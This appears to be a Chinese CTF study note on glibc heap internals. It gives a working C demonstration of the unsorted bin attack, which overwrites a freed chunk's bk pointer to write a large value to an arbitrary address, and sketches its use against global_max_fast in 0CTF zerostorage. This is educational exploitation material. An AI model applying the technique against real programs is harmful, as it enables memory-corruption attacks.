Unsorted Bin

双向循环链表,先进先出,以下几种情况会分到 unsorted bin 中

1、当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中
2、释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中
3、当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话

unsorted bin attack

unsorted bin attack 是控制 unsorted bin 的 bk 指针,达到任意地址改为一个较大的数的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

int main(){

fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

unsigned long stack_var=0;
fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
malloc(500);

free(p);
fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

malloc(0x410);
fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

gcc -g unsorted_bin_attack.c
分别在 10、13、16、19 下断点
然后运行,一开始先申请两个 chunk,第二个是为了防止与 top chunk 合并

image.png
image.png

当 free 之后,这个 chunk 的 fd、bk 都指向了 unsorted bin 的位置,因为 unsorted bin 是双向链表嘛

image.png
image.png

继续,通过 p[1] = (unsigned long)(&stack_var - 2); 把 bk 指针给改掉了 unsigned long 是 8 字节大小的,所以减去 2 之后正好是在 address 这个地方

image.png
image.png

然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

1
2
3
4
/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

把 unsorted bin 的 bk 改为 chunk 的 bk,然后将 chunk 的 bk 所指向的 fd 改为 unsorted bin 的地址

image.png
image.png
image.png
image.png

同时因为对于一个 chunk 来说 chunk 头是占据 0x10 大小的(也就是图中 address),所以 fd 正好是我们想要改的那个地址

wiki 的图示

image.png
image.png

HITCON Training lab14 magic heap

2016 0CTF zerostorage

程序功能如下:

image.png
image.png

在 insert 功能中创建的 chunk 的大小在 128 到 4096 之间

image.png
image.png

在 merge 功能中会把第一个给 free,然后合并,但是如果合并同一个就会造成 UAF

使用 unsortedbin attack 把 global_max_fast 改成 unsortedbin 让它不管 chunk 有多大都认为是 fastbin,这样再用 fastbin attack
(我他妈拍案叫绝)
好像有点麻烦,先跳过去了